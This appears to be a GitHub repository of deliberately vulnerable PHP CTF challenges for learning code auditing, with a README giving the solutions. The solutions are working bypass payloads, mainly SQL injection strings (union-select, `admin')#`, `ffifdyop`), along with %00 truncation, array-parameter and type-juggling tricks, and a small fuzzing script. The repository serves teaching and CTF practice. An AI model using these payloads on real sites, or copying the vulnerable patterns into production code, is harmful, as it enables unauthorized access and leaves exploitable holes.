├── 01 extract变量覆盖.php ├── 02 绕过过滤的空白字符.php ├── 03 多重加密.php ├── 04 SQL注入_WITH ROLLUP绕过.php ├── 05 ereg正则%00截断.php ├── 06 strcmp比较字符串.php ├── 07 sha()函数比较绕过.php ├── 08 SESSION验证绕过.php ├── 09 密码md5比较绕过.php ├── 10 urldecode二次编码绕过.php ├── 11 sql闭合绕过.php ├── 12 X-Forwarded-For绕过指定IP地址.php ├── 13 md5加密相等绕过.php ├── 14 intval函数四舍五入.php ├── 15 strpos数组绕过NULL与ereg正则%00截断.php ├── 16 SQL注入or绕过.php ├── 17 密码md5比较绕过.php ├── 18 md5()函数===使用数组绕过.php ├── 19 ereg()函数strpos() 函数用数组返回NULL绕过.php ├── 20 十六进制与数字比较.php ├── 21 数字验证正则绕过.php ├── 22 弱类型整数大小比较绕过.php ├── 23 md5函数验证绕过.php ├── 24 md5函数true绕过注入.php ├── 25 switch没有break 字符与0比较绕过.php ├── 26 unserialize()序列化.php ├── 27.php ├── 28.php ├── 29.php ├── 30 利用提交数组绕过逻辑.php ├── README.md └── img ├── 24_1.png ├── 30_1.png └── 30_2.png /01 extract变量覆盖.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /02 绕过过滤的空白字符.php: -------------------------------------------------------------------------------- 1 | $value) { 19 | $value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符) 20 | is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串 21 | } 22 | } 23 | 24 | 25 | function is_palindrome_number($number) { 26 | $number = strval($number); //strval — 获取变量的字符串值 27 | $i = 0; 28 | $j = strlen($number) - 1; //strlen — 获取字符串长度 29 | while($i < $j) { 30 | if($number[$i] !== $number[$j]) { 31 | return false; 32 | } 33 | $i++; 34 | $j--; 35 | } 36 | return true; 37 | } 38 | 39 | 40 | if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串 41 | { 42 | 43 | $info="sorry, you cann't input a number!"; 44 | 45 | } 46 | elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值 47 | { 48 | 49 | $info = "number must be equal to it's integer!! "; 50 | 51 | } 52 | else 53 | { 54 | 55 | $value1 = intval($req["number"]); 56 | $value2 = intval(strrev($req["number"])); 57 | 58 | if($value1!=$value2){ 59 | $info="no, this is not a palindrome number!"; 60 | } 61 | else 62 | { 63 | 64 | if(is_palindrome_number($req["number"])){ 65 | $info = "nice! {$value1} is a palindrome number!"; 66 | } 67 | else 68 | { 69 | $info=$flag; 70 | } 71 | } 72 | 73 | } 74 | 75 | echo $info; -------------------------------------------------------------------------------- /03 多重加密.php: -------------------------------------------------------------------------------- 1 | where)) 11 | { 12 | $this->select($this->where); 13 | } 14 | } 15 | function select($where) 16 | { 17 | $sql = mysql_query('select * from user where '.$where); 18 | //函数执行一条 MySQL 查询。 19 | return @mysql_fetch_array($sql); 20 | //从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false 21 | } 22 | } 23 | 24 | if(isset($requset['token'])) 25 | //测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。 26 | { 27 | $login = unserialize(gzuncompress(base64_decode($requset['token']))); 28 | //gzuncompress:进行字符串压缩 29 | //unserialize: 将已序列化的字符串还原回 PHP 的值 30 | 31 | $db = new db(); 32 | $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\''); 33 | //mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 34 | 35 | if($login['user'] === 'ichunqiu') 36 | { 37 | echo $flag; 38 | }else if($row['pass'] !== $login['pass']){ 39 | echo 'unserialize injection!!'; 40 | }else{ 41 | echo "(╯‵□′)╯︵┴─┴ "; 42 | } 43 | }else{ 44 | header('Location: index.php?error=1'); 45 | } 46 | 47 | ?> -------------------------------------------------------------------------------- /04 SQL注入_WITH ROLLUP绕过.php: -------------------------------------------------------------------------------- 1 | '."
"; 6 | echo ''."
"; 7 | echo ''."
"; 8 | echo ''."
"; 9 | echo ''."
"; 10 | echo ''."
"; 11 | die; 12 | } 13 | 14 | function AttackFilter($StrKey,$StrValue,$ArrReq){ 15 | if (is_array($StrValue)){ 16 | 17 | //检测变量是否是数组 18 | 19 | $StrValue=implode($StrValue); 20 | 21 | //返回由数组元素组合成的字符串 22 | 23 | } 24 | if (preg_match("/".$ArrReq."/is",$StrValue)==1){ 25 | 26 | //匹配成功一次后就会停止匹配 27 | 28 | print "水可载舟,亦可赛艇!"; 29 | exit(); 30 | } 31 | } 32 | 33 | $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; 34 | foreach($_POST as $key=>$value){ 35 | 36 | //遍历数组 37 | 38 | AttackFilter($key,$value,$filter); 39 | } 40 | 41 | $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX"); 42 | if (!$con){ 43 | die('Could not connect: ' . mysql_error()); 44 | } 45 | $db="XXXXXX"; 46 | mysql_select_db($db, $con); 47 | 48 | //设置活动的 MySQL 数据库 49 | 50 | $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; 51 | $query = mysql_query($sql); 52 | 53 | //执行一条 MySQL 查询 54 | 55 | if (mysql_num_rows($query) == 1) { 56 | 57 | //返回结果集中行的数目 58 | 59 | $key = mysql_fetch_array($query); 60 | 61 | //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false 62 | 63 | if($key['pwd'] == $_POST['pwd']) { 64 | print "CTF{XXXXXX}"; 65 | }else{ 66 | print "亦可赛艇!"; 67 | } 68 | }else{ 69 | print "一颗赛艇!"; 70 | } 71 | mysql_close($con); 72 | ?> -------------------------------------------------------------------------------- /05 ereg正则%00截断.php: -------------------------------------------------------------------------------- 1 | You password must be alphanumeric

'; 10 | } 11 | else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) 12 | { 13 | if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置 14 | { 15 | die('Flag: ' . $flag); 16 | } 17 | else 18 | { 19 | echo('

*-* have not been found

'); 20 | } 21 | } 22 | else 23 | { 24 | echo '

Invalid password

'; 25 | } 26 | } 27 | ?> -------------------------------------------------------------------------------- /06 strcmp比较字符串.php: -------------------------------------------------------------------------------- 1 | 0;如果两者相等,返回 0。 5 | 6 | //比较两个字符串(区分大小写) 7 | die('Flag: '.$flag); 8 | else 9 | print 'No'; 10 | } 11 | 12 | ?> -------------------------------------------------------------------------------- /07 sha()函数比较绕过.php: -------------------------------------------------------------------------------- 1 | Your password can not be your name!

'; 9 | else if (sha1($_GET['name']) === sha1($_GET['password'])) 10 | die('Flag: '.$flag); 11 | else 12 | echo '

Invalid password.

'; 13 | } 14 | else 15 | echo '

Login first!

'; 16 | ?> -------------------------------------------------------------------------------- /08 SESSION验证绕过.php: -------------------------------------------------------------------------------- 1 | Wrong guess.

'; 11 | } 12 | mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000)); 13 | ?> -------------------------------------------------------------------------------- /09 密码md5比较绕过.php: -------------------------------------------------------------------------------- 1 | connect_error) { 8 | die("Connection failed: " . mysql_error($conn)); 9 | } 10 | 11 | //赋值 12 | 13 | $user = $_POST[user]; 14 | $pass = md5($_POST[pass]); 15 | 16 | //sql语句 17 | 18 | // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # 19 | 20 | // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456 21 | 22 | $sql = "select pw from php where user='$user'"; 23 | $query = mysql_query($sql); 24 | if (!$query) { 25 | printf("Error: %s\n", mysql_error($conn)); 26 | exit(); 27 | } 28 | $row = mysql_fetch_array($query, MYSQL_ASSOC); 29 | //echo $row["pw"]; 30 | 31 | if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { 32 | 33 | //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 34 | 35 | 36 | echo "

Logged in! Key:**************

"; 37 | } 38 | else { 39 | echo("

Log in failure!

"); 40 | 41 | } 42 | } 43 | ?> -------------------------------------------------------------------------------- /10 urldecode二次编码绕过.php: -------------------------------------------------------------------------------- 1 | not allowed!

"); 4 | exit(); 5 | } 6 | 7 | $_GET[id] = urldecode($_GET[id]); 8 | if($_GET[id] == "hackerDJ") 9 | { 10 | echo "

Access granted!

"; 11 | echo "

flag: *****************}

"; 12 | } 13 | ?> -------------------------------------------------------------------------------- /11 sql闭合绕过.php: -------------------------------------------------------------------------------- 1 | connect_error) { 8 | die("Connection failed: " . mysql_error($conn)); 9 | } 10 | $user = $_POST[user]; 11 | $pass = md5($_POST[pass]); 12 | 13 | //select user from php where (user='admin')# 14 | 15 | //exp:admin')# 16 | 17 | $sql = "select user from php where (user='$user') and (pw='$pass')"; 18 | $query = mysql_query($sql); 19 | if (!$query) { 20 | printf("Error: %s\n", mysql_error($conn)); 21 | exit(); 22 | } 23 | $row = mysql_fetch_array($query, MYSQL_ASSOC); 24 | //echo $row["pw"]; 25 | if($row['user']=="admin") { 26 | echo "

Logged in! Key: ***********

"; 27 | } 28 | 29 | if($row['user'] != "admin") { 30 | echo("

You are not admin!

"); 31 | } 32 | } 33 | 34 | ?> 35 | -------------------------------------------------------------------------------- /12 X-Forwarded-For绕过指定IP地址.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /13 md5加密相等绕过.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /14 intval函数四舍五入.php: -------------------------------------------------------------------------------- 1 | no! try again

"; 10 | } 11 | else{ 12 | echo($query[content]); 13 | } 14 | } 15 | 16 | ?> -------------------------------------------------------------------------------- /15 strpos数组绕过NULL与ereg正则%00截断.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /16 SQL注入or绕过.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /17 密码md5比较绕过.php: -------------------------------------------------------------------------------- 1 | Logged in! Key: ntcf{**************}

"; 14 | } 15 | else { 16 | echo("

Log in failure!

"); 17 | } 18 | } 19 | 20 | ?> -------------------------------------------------------------------------------- /18 md5()函数===使用数组绕过.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /19 ereg()函数strpos() 函数用数组返回NULL绕过.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /20 十六进制与数字比较.php: -------------------------------------------------------------------------------- 1 | = $one) && ($digit <= $nine) ) 16 | { 17 | // Aha, digit not allowed! 18 | return "flase"; 19 | } 20 | } 21 | if($number == $temp) 22 | return $flag; 23 | } 24 | $temp = $_GET['password']; 25 | echo noother_says_correct($temp); 26 | 27 | ?> -------------------------------------------------------------------------------- /21 数字验证正则绕过.php: -------------------------------------------------------------------------------- 1 | = preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配 9 | { 10 | echo 'Wrong Format'; 11 | exit; 12 | } 13 | while (TRUE) 14 | { 15 | $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 16 | if (6 > preg_match_all($reg, $password, $arr)) 17 | break; 18 | $c = 0; 19 | $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 20 | foreach ($ps as $pt) 21 | { 22 | if (preg_match("/[[:$pt:]]+/", $password)) 23 | $c += 1; 24 | } 25 | if ($c < 3) break; 26 | //>=3,必须包含四种类型三种与三种以上 27 | if ("42" == $password) echo $flag; 28 | else echo 'Wrong password'; 29 | exit; 30 | } 31 | } 32 | 33 | ?> -------------------------------------------------------------------------------- /22 弱类型整数大小比较绕过.php: -------------------------------------------------------------------------------- 1 | 1336){ 9 | echo $flag; 10 | } 11 | 12 | ?> -------------------------------------------------------------------------------- /23 md5函数验证绕过.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /24 md5函数true绕过注入.php: -------------------------------------------------------------------------------- 1 | ' . mysql_error() . '' ); 19 | $row1 = mysql_fetch_row($result); 20 | var_dump($row1); 21 | mysql_close($link); 22 | ?> -------------------------------------------------------------------------------- /25 switch没有break 字符与0比较绕过.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /26 unserialize()序列化.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | readfile(); 12 | ?> 13 | 14 | 15 | 16 | 17 | file = $filename; 23 | } 24 | 25 | function readfile() { 26 | if (!empty($this->file) && stripos($this->file,'..')===FALSE 27 | && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { 28 | return @file_get_contents($this->file); 29 | } 30 | } 31 | } 32 | ?> 33 | 34 | 35 | 48 | 49 | -------------------------------------------------------------------------------- /27.php: -------------------------------------------------------------------------------- 1 | 5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { 16 | require("flag.txt"); 17 | } else { 18 | print "work harder!harder!harder!"; 19 | } 20 | ?> -------------------------------------------------------------------------------- /28.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Web 350 5 | 11 | 12 | 13 | 14 | Welcome Admin. Your flag is 36 | } else { 37 | echo "

Only Admin can see the flag!!

"; 38 | } 39 | ?> 40 | 41 | 42 | -------------------------------------------------------------------------------- /29.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /30 利用提交数组绕过逻辑.php: -------------------------------------------------------------------------------- 1 | ?]', $data)) { 23 | die('No No No!'.$data); 24 | } 25 | else { 26 | $s = implode($data); 27 | if(!preg_match('[<>?]', $s)){ 28 | $flag='None.'; 29 | } 30 | $rand = rand(1,10000000); 31 | $tmp="./uploads/".md5(time() + $rand).$filename; 32 | file_put_contents($tmp, $flag); 33 | echo "your file is in " . $tmp; 34 | } 35 | } 36 | else{ 37 | echo "Hello admin, now you can upload something you are easy to forget."; 38 | echo "
there are the source.
"; 39 | echo ''; 42 | } 43 | } 44 | else{ 45 | echo "Sorry. You have no permissions."; 46 | } 47 | ?> 48 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PHP代码审计分段讲解 2 | 3 | - **作 者:bowu** 4 | - **网 站:[Bowu‘ s Blog](http://www.bowu8.com)** 5 | - **Github: [bowu (Github)](https://github.com/bowu678/php_bugs)** 6 | - **本项目将会持续更新,请`Star`予以支持,感谢亲 :)** 7 | 8 | ## 关于本项目 9 | 10 | 代码审计对于很多安全圈的新人来说,一直是一件头疼的事情,也想跟着大牛们直接操刀审计CMS?却处处碰壁: 11 | 12 | - 函数看不懂! 13 | - 漏洞原理不知道! 14 | - PHP特性更不知! 15 | 16 | **那还怎么愉快审计?** 17 | 18 | 不如**化繁为简**,跟着本项目先搞懂PHP中大多敏感函数与各类特性,再逐渐增加难度,直到可以吊打各类CMS~ 19 | 20 | > 本项目讲解基于多道CTF题,玩CTF的WEB狗也不要错过(^-^)V 21 | 22 | > 题的源码在Github: [bowu (Github)](https://github.com/bowu678/php_bugs),可以自行部署,也可以静态审计。 23 | 24 | **欢迎贡献题目与解答,代表各位小白感激不尽~** 25 | 26 | ## 01 extract变量覆盖 27 | 28 | `http://127.0.0.1/Php_Bug/extract1.php?shiyan=&flag=1` 29 | 30 | ## 02 绕过过滤的空白字符 31 | 32 | 可以引入\f(也就是%0c)在数字前面,来绕过最后那个is_palindrome_number函数,而对于前面的数字判断,因为intval和is_numeric都会忽略这个字符,所以不会影响。 33 | 34 | `http://127.0.0.1/Php_Bug/02.php?number=%00%0c191` 35 | 36 | Fuzzing思路: 37 | `http://127.0.0.1/Php_Bug/02.php?number=%00%2B191` 38 | %2B解析后为+,‘+191'=='191'且intval('191+')==191 39 | (这道题解题思路如下 40 | 1. 条件is_numeric($_REQUEST['number'])为假,这个绕过的方法很多使用%00开头也可以再POST一个number参数把GET中的覆盖掉也可以,所以这一步很简单。 41 | 2. 要求 $req['number']==strval(intval($req['number'])) 42 | 3. 要求intval($req['number']) == intval(strrev($req['number'])) 43 | 4. is_palindrome_number()返回False,这个条件只要在一个回文数比如191前面加一个字符即可实现 44 | 5. 得到flag 45 | 看上述条件,条件4需要加字符但是加了之后需要满足2,3这两个条件所以就可以在原题目中简化出2,3,4来进行Fuzzing,简化后后端代码如下: 46 | ```php 47 | 64 | ``` 65 | Fuzzing代码如下: 66 | ```python 67 | import requests 68 | for i in range(256): 69 | rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i)) 70 | if '1' in rq.text: 71 | print "%%%02X"%i 72 | ``` 73 | Fuzzing结果如下: 74 | ``` 75 | %0C 76 | %2B 77 | ``` 78 | 79 | 80 | 81 | 资料: 82 | 83 | - [PHP类型与逻辑+fuzz与源代码审计](http://www.chnpanda.com/961.html) 84 | 85 | ## 03 多重加密 86 | 87 | ``` 88 | 96 | ``` 97 | 98 | `eJxLtDK0qs60MrBOAuJaAB5uBBQ=` 99 | 100 | 101 | ## 04 SQL注入_WITH ROLLUP绕过 102 | 103 | 104 | `admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- - ` 105 | 106 | 资料: 107 | 108 | - [实验吧 因缺思汀的绕过 By Assassin(with rollup统计)](http://blog.csdn.net/qq_35078631/article/details/54772798) 109 | - [使用 GROUP BY WITH ROLLUP 改善统计性能](http://blog.csdn.net/id19870510/article/details/6254358) 110 | - [因缺思汀的绕过](http://www.bubuko.com/infodetail-2169730.html) 111 | 112 | ## 05 ereg正则%00截断 113 | 114 | http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-* 115 | 116 | 资料: 117 | 118 | - [eregi()](http://www.am0s.com/functions/203.html) 119 | 120 | ## 06 strcmp比较字符串 121 | 122 | `http://127.0.0.1/Php_Bug/06.php?a[]=1` 123 | 124 | 这个函数是用于比较字符串的函数 125 | 126 | ``` 127 | int strcmp ( string $str1 , string $str2 ) 128 | // 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 129 | ``` 130 | 131 | 可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在`5.3`之前的php中,显示了报错的警告信息后,将`return 0` !!!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。`strcmp`只会处理字符串参数,如果给个数组的话呢,就会返回`NULL`,而判断使用的是`==`,`NULL==0`是 `bool(true)` 132 | 133 | ## 07 sha()函数比较绕过 134 | 135 | `http://127.0.0.1/Php_Bug/07.php?name[]=1&password[]=2` 136 | 137 | `===`会比较类型,比如`bool` 138 | `sha1()`函数和`md5()`函数存在着漏洞,`sha1()`函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使`sha1()`函数返回错误,也就是返回`false`,这样一来`===`运算符就可以发挥作用了,需要构造`username`和`password`既不相等,又同样是数组类型 139 | 140 | `?name[]=a&password[]=b` 141 | 142 | ## 08 SESSION验证绕过 143 | 144 | `http://127.0.0.1/Php_Bug/08.php?password=` 145 | 146 | 删除`cookies`或者删除`cookies`的值 147 | 148 | 资料: 149 | 150 | - [【Writeup】Boston Key Party CTF 2015(部分题目)](http://blog.csdn.net/lymingha0/article/details/44079981) 151 | 152 | ## 09 密码md5比较绕过 153 | 154 | `?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456` 155 | 156 | 资料: 157 | 158 | - [DUTCTF-2015-Writeup](http://bobao.360.cn/ctf/learning/129.html) 159 | 160 | ## 10 urldecode二次编码绕过 161 | 162 | `h`的`URL`编码为:`%68`,二次编码为`%2568`,绕过 163 | 164 | `http://127.0.0.1/Php_Bug/10.php?id=%2568ackerDJ` 165 | 166 | 资料: 167 | 168 | - [URL编码表](https://baike.baidu.com/item/URL%E7%BC%96%E7%A0%81/3703727?fr=aladdin) 169 | 170 | 171 | ## 11 sql闭合绕过 172 | 173 | 构造exp闭合绕过 174 | `admin')#` 175 | 176 | 177 | ## 12 X-Forwarded-For绕过指定IP地址 178 | 179 | `HTTP`头添加`X-Forwarded-For:1.1.1.1` 180 | 181 | ## 13 md5加密相等绕过 182 | 183 | `http://127.0.0.1/Php_Bug/13.php?a=240610708` 184 | 185 | `==`对比的时候会进行数据转换,`0eXXXXXXXXXX` 转成`0`了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行 186 | 187 | ``` 188 | var_dump(md5('240610708') == md5('QNKCDZO')); 189 | var_dump(md5('aabg7XSs') == md5('aabC9RqS')); 190 | var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); 191 | var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m')); 192 | var_dump('0010e2' == '1e3'); 193 | var_dump('0x1234Ab' == '1193131'); 194 | var_dump('0xABCdef' == ' 0xABCdef'); 195 | 196 | md5('240610708'); // 0e462097431906509019562988736854 197 | md5('QNKCDZO'); // 0e830400451993494058024219903391 198 | ``` 199 | 200 | 把你的密码设成 `0x1234Ab`,然后退出登录再登录,换密码 `1193131`登录,如果登录成功,那么密码绝对是明文保存的没跑。 201 | 202 | 203 | 同理,密码设置为 `240610708`,换密码 `QNKCDZO`登录能成功,那么密码没加盐直接`md5`保存的。 204 | 205 | 资料: 206 | 207 | - [PHP 探测任意网站密码明文/加密手段办法](https://www.v2ex.com/t/188364) 208 | 209 | ## 14 intval函数四舍五入 210 | 211 | `1024.1`绕过 212 | 213 | 资料: 214 | 215 | - [ PHP intval()函数利用](http://blog.csdn.net/wangjian1012/article/details/51581564) 216 | 217 | ## 15 strpos数组绕过NULL与ereg正则%00截断 218 | 219 | - 方法一: 220 | 既要是纯数字,又要有`’#biubiubiu’`,`strpos()`找的是字符串,那么传一个数组给它,`strpos()`出错返回`null,null!==false`,所以符合要求. 221 | 所以输入`nctf[]=` 222 | 那为什么`ereg()`也能符合呢?因为`ereg()`在出错时返回的也是`null`,`null!==false`,所以符合要求. 223 | 224 | - 方法二: 225 | 字符串截断,利用`ereg()`的`NULL`截断漏洞,绕过正则过滤 226 | `http://127.0.0.1/Php_Bug/16.php?nctf=1%00#biubiubiu` 错误 227 | 需将#编码 228 | `http://127.0.0.1/Php_Bug/16.php?nctf=1%00%23biubiubiu` 229 | 正确 230 | 231 | ## 16 SQL注入or绕过 232 | 233 | ``` 234 | $query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';'; 235 | ``` 236 | 237 | `?username=admin\'\' AND pass=\''or 1 #&password=` 238 | 239 | ## 17 密码md5比较绕过 240 | 241 | ``` 242 | //select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' # 243 | ``` 244 | 245 | `?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456` 246 | 247 | ## 18 md5()函数===使用数组绕过 248 | 249 | 若为`md5($_GET['username']) == md5($_GET['password'])` 250 | 则可以构造: 251 | `http://127.0.0.1/Php_Bug/18.php?username=QNKCDZO&password=240610708` 252 | 因为`==`对比的时候会进行数据转换,`0eXXXXXXXXXX` 转成`0`了 253 | 也可以使用数组绕过 254 | `http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2` 255 | 256 | 257 | 但此处是`===`,只能用数组绕过,`PHP`对数组进行`hash`计算都会得出`null`的空值 258 | `http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2` 259 | 260 | ## 19 ereg()函数strpos() 函数用数组返回NULL绕过 261 | 262 | - 方法一: 263 | ereg()正则函数可以用`%00`截断 264 | `http://127.0.0.1/Php_Bug/19.php?password=1%00--` 265 | 266 | - 方法二: 267 | 将`password`构造一个`arr[]`,传入之后,`ereg`是返回`NULL`的,`===`判断`NULL`和 `FALSE`,是不相等的,所以可以进入第二个判断,而`strpos`处理数组,也是返回`NULL`,注意这里的是`!==`,`NULL!==FALSE`,条件成立,拿到`flag` 268 | `http://127.0.0.1/Php_Bug/19.php?password[]=` 269 | 270 | ## 20 十六进制与数字比较 271 | 272 | 这里,它不让输入1到9的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,`0x`开头则表示`16`进制,将这串数字转换成`16`进制之后发现,是d`eadc0de`,在开头加上`0x`,代表这个是`16`进制的数字,然后再和十进制的 `3735929054`比较,答案当然是相同的,返回`true`拿到`flag` 273 | 274 | ``` 275 | echo dechex ( 3735929054 ); // 将3735929054转为16进制 276 | 结果为:deadc0de 277 | ``` 278 | 构造: 279 | `http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de` 280 | 281 | ## 21 数字验证正则绕过 282 | 283 | `0 >= preg_match('/^[[:graph:]]{12,}$/', $password)` 284 | 意为必须是12个字符以上(非空格非TAB之外的内容) 285 | 286 | ``` 287 | $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 288 | if (6 > preg_match_all($reg, $password, $arr)) 289 | ``` 290 | 意为匹配到的次数要大于6次 291 | 292 | ``` 293 | $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 294 | foreach ($ps as $pt) 295 | { 296 | if (preg_match("/[[:$pt:]]+/", $password)) 297 | $c += 1; 298 | } 299 | if ($c < 3) break; 300 | ``` 301 | 意为必须要有大小写字母,数字,字符内容三种与三种以上 302 | 303 | ``` 304 | if ("42" == $password) echo $flag; 305 | ``` 306 | 意为必须等于`42` 307 | 308 | 答案: 309 | ``` 310 | 42.00e+00000000000 311 | 或 312 | 420.000000000e-1 313 | ``` 314 | 资料: 315 | 316 | - [安全宝「约宝妹」代码审计CTF题解](http://bobao.360.cn/learning/detail/248.html) 317 | 318 | - [各种版本PHP在线迷你运行脚本](https://3v4l.org/jYSpC) 319 | 320 | - [PHP Comparison Operators](http://php.net/manual/en/language.operators.comparison.php) 321 | 322 | ## 22 弱类型整数大小比较绕过 323 | 324 | `is_numeric($temp)?die("no numeric"):NULL;` 325 | 不能是数字 326 | 327 | ``` 328 | if($temp>1336){ 329 | echo $flag; 330 | } 331 | ``` 332 | 又要大于`1336` 333 | 334 | 利用`PHP`弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型`intval`再比。如果输入一个`1337a`这样的字符串,在`is_numeric`中返回`true`,然后在比较时被转换成数字`1337`,这样就绕过判断输出`flag`。 335 | 336 | `http://127.0.0.1/php_bug/22.php?password=1337a` 337 | 338 | ## 23 md5函数验证绕过 339 | 340 | `if(md5($temp)==0)` 341 | 要使`md5`函数加密值为`0` 342 | 343 | - 方法一: 344 | 使`password`不赋值,为`NULL`,`NULL == 0`为`true` 345 | `http://127.0.0.1/php_bug/23.php?password=` 346 | `http://127.0.0.1/php_bug/23.php` 347 | 348 | - 方法二: 349 | 经过MD5运算后,为`0e******`的形式,其结果为`0*10`的`n`次方,结果还是零 350 | `http://127.0.0.1/php_bug/23.php?password=240610708` 351 | `http://127.0.0.1/php_bug/23.php?password=QNKCDZO` 352 | 353 | ## 24 md5函数true绕过注入 354 | 355 | `$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";` 356 | `md5($password,true)` 357 | 将`md5`后的`hex`转换成字符串 358 | 359 | 如果包含`'or'xxx`这样的字符串,那整个`sql`变成 360 | 361 | `SELECT * FROM admin WHERE pass = ''or'xxx'`就绕过了 362 | 363 | 字符串:`ffifdyop` 364 | 365 | `md5`后,`276f722736c95d99e921722cf9ed621c` 366 | `hex`转换成字符串:` 'or'6` 367 | ![](./img/24_1.png) 368 | 369 | 构造:`?password=ffifdyop` 370 | 371 | 资料: 372 | 373 | - [MD5加密后的SQL 注入](http://blog.csdn.net/greyfreedom/article/details/45846137) 374 | 375 | - [敏感函数md5()](http://www.am0s.com/functions/204.html) 376 | 377 | - [php黑魔法](http://www.xmanblog.net/2017/04/04/php-magic/) 378 | 379 | ## 25 switch没有break 字符与0比较绕过 380 | 381 | 让我们包含当前目录中的`flag.php`,给`which`为`flag`,这里会发现在`case 0`和`case 1`的时候,没有`break`,按照常规思维,应该是`0`比较不成功,进入比较`1`,然后比较`2`,再然后进入`default`,但是事实却不是这样,事实上,在 `case 0`的时候,字符串和`0`比较是相等的,进入了`case 0`的方法体,但是却没有`break`,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们`which`传入`flag`的时候,`case 0`比较进入了方法体,但是没有`break`,默认已经匹配成功,往下执行不再判断,进入`2`的时候,执行了`require_once flag.php` 382 | 383 | PHP中非数字开头字符串和数字 `0`比较`==`都返回`True` 384 | 385 | 因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为`0`了,然后再和另一个`0`比大小,结果自然为`ture`。注意:如果那个字符串是以数字开头的,如`6ldb`,它还是可以转为数字`6`的,然后和`0`比较就不等了(但是和`6`比较就相等) 386 | `if($str==0)` 判断 和 `if( intval($str) == 0 )` 是等价的 387 | 388 | ``` 389 | 可以验证: 390 | 394 | ``` 395 | 要字符串与数字判断不转类型方法有: 396 | - 方法一: 397 | `$str="字符串";if($str===0){ echo "返回了true.";} ` 398 | 399 | - 方法二: 400 | `$str="字符串";if($str=="0"){ echo "返回了true.";} ,` 401 | 402 | 此题构造:`http://127.0.0.1/php_bug/25.php?which=aa` 403 | 404 | 资料: 405 | 406 | - [PHP中字符串和数字 0 